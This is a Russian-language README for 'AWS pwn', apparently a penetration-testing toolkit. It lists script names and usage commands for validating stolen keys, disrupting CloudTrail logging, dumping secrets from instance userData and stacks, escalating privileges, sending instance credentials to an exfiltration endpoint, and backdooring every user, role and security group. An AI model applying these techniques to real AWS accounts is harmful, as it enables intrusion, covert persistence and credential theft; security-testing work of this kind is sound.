AWS pwn
Краткое описание
Это набор ужасно написанных скриптов для выполнения различных задач, связанных с тестированием на проникновение AWS. Пожалуйста, не расстраивайтесь, если они не работают. Возможно, AWS изменился с момента написания конкретного инструмента, или код просто ужасен. В любом случае, не стесняйтесь вносить свой вклад.
Большая часть этого мусора была написана Дэниелом Гжелаком (Daniel Grzelak), но было много вкладов, наиболее заметный от Майка Фуллера (Mike Fuller).
Требования
pip install -r requirements.txt
Убедитесь, что вы также настроили свои учетные данные AWS в ~/.aws/credentials.
Разведка
Действия по сбору информации до компрометации.
- validate_iam_access_keys.py - По заданному TSV-файлу с комбинациями access key + secret [+ session] проверяет действительность доступа и возвращает информацию об идентификаторе участника.
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
- validate_s3_buckets.py - По заданному текстовому файлу с одним словом на строку проверяет, существуют ли корзины, и возвращает базовую идентификационную информацию.
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
- validate_iam_principals.py - По заданному текстовому файлу с участниками (например, user/admin, role/deploy) проверяет, существуют ли участники в указанной учетной записи.
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
- validate_accounts.py - По заданному текстовому файлу с идентификаторами учетных записей и псевдонимами учетных записей проверяет, существуют ли учетные записи.
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
Эксплуатация
Действия, которые помогут вам закрепиться в учетной записи.
Скрытность
Действия, которые могут помочь вам остаться незамеченным после компрометации учетной записи.
- disrupt_cloudtrail.py - Пытается нарушить/парализовать ведение журнала CloudTrail указанным способом.
./disrupt_cloudtrail.py -s
Исследование
Действия, которые помогут вам понять, что вы взломали.
- dump_account_data.sh - Вызывает набор общих функций чтения/списка/получения/описания на уровне учетной записи и сохраняет данные в указанное место. Очень шумно, но отлично подходит для снимка состояния на момент времени.
./dump_account_data.sh /tmp/
Повышение привилегий
Действия, которые помогут вам перемещаться по учетной записи и получать доступ разных уровней.
- dump_instance_attributes.py - Проходит по каждому экземпляру EC2 в учетной записи и извлекает указанные атрибуты экземпляра. Чаще всего используется для получения userData, которая часто содержит секреты.
./dump_instance_attributes.py -u -o /tmp/
- dump_cloudformation_stack_descriptions.py - Извлекает описания стеков для каждого существующего стека и каждого стека, удаленного за последние 90 дней. Параметры в описаниях стеков часто содержат пароли и другие секреты.
./dump_cloudformation_stack_descriptions.py -o /tmp/data
- assume_roles.py - Пытается принять все роли (ARN) из файла или предоставленные API list-roles.
./assume_roles.py -o /tmp/out.json
- add_iam_policy - Добавляет политику администратора и все действия к указанному пользователю, роли или группе. Требует привилегий IAM putPolicy или attachPolicy.
./add_iam_policy.py -u myuser -r myrole -g mygroup
- bouncy_bouncy_cloudy_cloud - Перезапускает указанный экземпляр EC2 и перезаписывает его userData, чтобы вы могли выполнить произвольный код или украсть временные учетные данные профиля экземпляра.
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
Постоянство
Действия, которые помогут сохранить ваш доступ к учетной записи.
- rabbit_lambda - Пример функции Lambda, которая реагирует на события удаления пользователя, создавая новые копии удаленного пользователя.
- cli_lambda - Функция Lambda, которая действует как прокси для AWS CLI и не требует учетных данных.
- backdoor_created_users_lambda - Функция Lambda, которая добавляет ключ доступа к каждому вновь созданному пользователю.
- backdoor_created_roles_lambda - Функция Lambda, которая добавляет доверительные отношения к каждой вновь созданной роли.
- backdoor_created_security_groups_lambda - Функция Lambda, которая добавляет указанное правило входящего доступа к каждой вновь созданной группе безопасности.
- backdoor_all_users.py - Добавляет ключ доступа каждому пользователю в учетной записи.
- backdoor_all_roles.py - Добавляет доверительные отношения каждой роли в учетной записи. Требуется изменить файл, чтобы установить ARN роли.
- backdoor_all_security_groups.py - Добавляет указанное правило входящего доступа каждой группе безопасности в учетной записи. Требуется изменить файл, чтобы установить правило.
Экфильтрация
Действия, которые помогут извлекать и перемещать данные в стиле AWS.
Разное
Прочие вещи, которые я был слишком глуп или ленив, чтобы классифицировать.
- reserved_words.txt - Список слов/токенов, имеющих некоторое специальное значение в AWS или, вероятно, скоро его получат.
- endpoints.txt - Более-менее актуальный список конечных точек API, предоставляемых AWS.
- integrations.txt - TSV-файл сервисов, интегрирующихся с AWS через роли или ключи доступа, с их идентификаторами учетных записей, именами пользователей по умолчанию и т.д.
- download_docs.sh - Командная строка для wget всех документов AWS, потому что я глуп и каждый раз трачу время на повторение.
В планах
- Добавить пароли пользователям для постоянства
- Сбросить ресурсы стека
- Проверка MFA
- Добавить больше вызовов в dump_account_data
- Добавить больше методов нарушения ведения журнала
- Создать скрипт для парсинга CloudTrail для извлечения ценных данных
- Создать перечислитель разрешений для корзин S3
- Создать инструмент для получения учетных данных AWS из распространенных мест на диске
- Создать инструмент для клонирования
- Создать глупый инструмент для повышения привилегий с использованием passrole
- Проверка очередей
- Проверка тем уведомлений
- Исправить скрипты постоянства, чтобы использовать аргументы вместо констант внутри скриптов